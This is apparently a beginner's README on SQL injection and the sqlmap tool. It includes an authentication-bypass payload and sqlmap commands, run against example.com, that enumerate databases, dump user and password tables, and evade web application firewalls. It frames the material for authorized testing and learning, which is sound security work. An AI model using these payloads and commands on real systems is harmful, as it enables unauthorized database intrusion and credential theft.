web-app-attacks-sqlmap-README

Guide to identifying and exploiting SQL injection vulnerabilities in web apps using sqlmap, with examples, installation instructions, and additional tips.

SQL Injection (SQLi) is a powerful attack technique that allows attackers to exploit web applications by manipulating database queries. This guide introduces sqlmap, a tool that helps identify and exploit SQL injection vulnerabilities. Whether you're new to web security or learning about SQL injection, this guide will walk you through sqlmap and its practical use cases.

---

Table of Contents

• What is SQL Injection?
• What is sqlmap?
• How to Install sqlmap
• How to Use sqlmap
  • Basic SQL Injection Testing
  • Testing with POST Data
  • Retrieving Database Information
  • Example Walkthrough
• Advanced Features
  • Bypassing Firewalls or WAFs
  • Extract Specific Data (like passwords)
• Common Errors and Troubleshooting
• Best Practices for Using sqlmap
• Contributing
• License

---

What is SQL Injection?

SQL Injection (SQLi) is a web application vulnerability that allows attackers to interact directly with the database through malicious SQL code. If a web app doesn't properly sanitize user inputs, attackers can:

• Access sensitive data like usernames, passwords, or credit card info.
• Modify database content such as adding, deleting, or updating records.
• Gain control over the database server.

Example: An attacker could insert SQL code in a login form to bypass authentication:

' OR '1'='1

This common trick may allow unauthorized access by making the condition always true.

---

What is sqlmap?

sqlmap is an open-source tool designed to automate the detection and exploitation of SQL injection vulnerabilities. It makes SQL injection testing easy by automating the attack process.

Key Features:

• Detect and exploit SQL injection vulnerabilities.
• Dump database contents, such as usernames and passwords.
• Test across different databases (MySQL, PostgreSQL, SQL Server, etc.).
• Bypass security measures like firewalls and Web Application Firewalls (WAFs).

---

How to Install sqlmap

sqlmap is built on Python, so make sure Python is installed before proceeding.

Installing sqlmap (Linux/macOS):

1. Open a terminal.
2. Clone the sqlmap GitHub repository:

   git clone https://github.com/sqlmapproject/sqlmap.git

3. Navigate to the sqlmap directory:

   cd sqlmap

4. Test the installation:

   python3 sqlmap.py --help

Installing sqlmap (Windows):

1. Install Python from https://www.python.org/downloads/.
2. Download sqlmap from GitHub: https://github.com/sqlmapproject/sqlmap.
3. Open Command Prompt or PowerShell, navigate to the sqlmap folder, and run:

   python sqlmap.py --help

---

How to Use sqlmap

sqlmap is designed to simplify SQL injection testing on web applications. Let’s explore the basics:

Basic SQL Injection Testing

You can test if a webpage is vulnerable to SQL injection by providing sqlmap with a URL containing a parameter (like id=1):

python3 sqlmap.py -u "http://example.com/page.php?id=1"

• -u: Specifies the URL to test.

sqlmap will automatically check if the id parameter is vulnerable to SQL injection and attempt to exploit it.

Testing with POST Data

For testing web forms (e.g., login or search) that use POST requests, use the --data option:

python3 sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=admin"

This will test both the username and password fields for SQL injection vulnerabilities.

Retrieving Database Information

Once a vulnerability is found, sqlmap can retrieve sensitive data from the database.

List Databases:

python3 sqlmap.py -u "http://example.com/page.php?id=1" --dbs

This will list all available databases that the vulnerable web app has access to.

Dump Data from a Table:

After identifying a vulnerable database and table, you can extract the data:

python3 sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

• -D: Specifies the database name.
• -T: Specifies the table name.
• --dump: Dumps the table contents.

Example Walkthrough

Here’s a simple example of using sqlmap to identify and exploit a vulnerability:

1. Test the URL for vulnerability:

   python3 sqlmap.py -u "http://example.com/product.php?id=5"

2. List databases:

   python3 sqlmap.py -u "http://example.com/product.php?id=5" --dbs

3. Dump the contents of the "users" table:

   python3 sqlmap.py -u "http://example.com/product.php?id=5" -D store -T users --dump

---

Advanced Features

sqlmap has more advanced features for handling sophisticated injection scenarios.

Bypassing Firewalls or WAFs

If a Web Application Firewall (WAF) is in place, sqlmap can attempt to bypass it using tamper scripts:

python3 sqlmap.py -u "http://example.com/page.php?id=1" --random-agent --tamper="between"

• --random-agent: Randomizes the user-agent string to avoid detection.
• --tamper: Applies the tamper script to obfuscate the SQL payload (e.g., between).

Extract Specific Data (like passwords)

To target specific columns (e.g., passwords), use the -C option:

python3 sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column_name --dump

• -C: Specifies the column to extract (e.g., passwords).

---

Common Errors and Troubleshooting

Here are some common errors you might face and how to resolve them:

1. Timeout Errors

If the connection to the server is slow or times out, increase the timeout limit:

python3 sqlmap.py -u "http://example.com/page.php?id=1" --timeout=20

2. False Positives

To avoid false positives, increase the testing level and risk:

python3 sqlmap.py -u "http://example.com/page.php?id=1" --level=3 --risk=3

3. Bypassing WAFs

If sqlmap is blocked by a WAF, use tamper scripts:

python3 sqlmap.py -u "http://example.com/page.php?id=1" --tamper="randomcase,between"

---

Best Practices for Using sqlmap

• Get Permission: Only use sqlmap on sites you are authorized to test. Unauthorized testing is illegal.
• Start Safely: Begin with safe levels (--level=1, --risk=1) to avoid accidentally harming the website’s database.
• Dump Responsibly: Only dump the data you need. Dumping entire databases may overload the server.
• Respect WAFs: Follow responsible disclosure practices if you bypass security protections.

---

Contributing

If you have suggestions or improvements for this guide, feel free to submit a pull request or open an issue.

---

License

This project is licensed under the MIT License. See the LICENSE file for more details.

---

Some final notes:

• Clear explanations: Simplified language for better understanding by beginners.
• Practical examples: Step-by-step examples for key tasks, like testing and extracting data.
• Error handling: Added troubleshooting section to address common errors.
• Best practices: Emphasized ethical usage and responsible practices for sqlmap testing.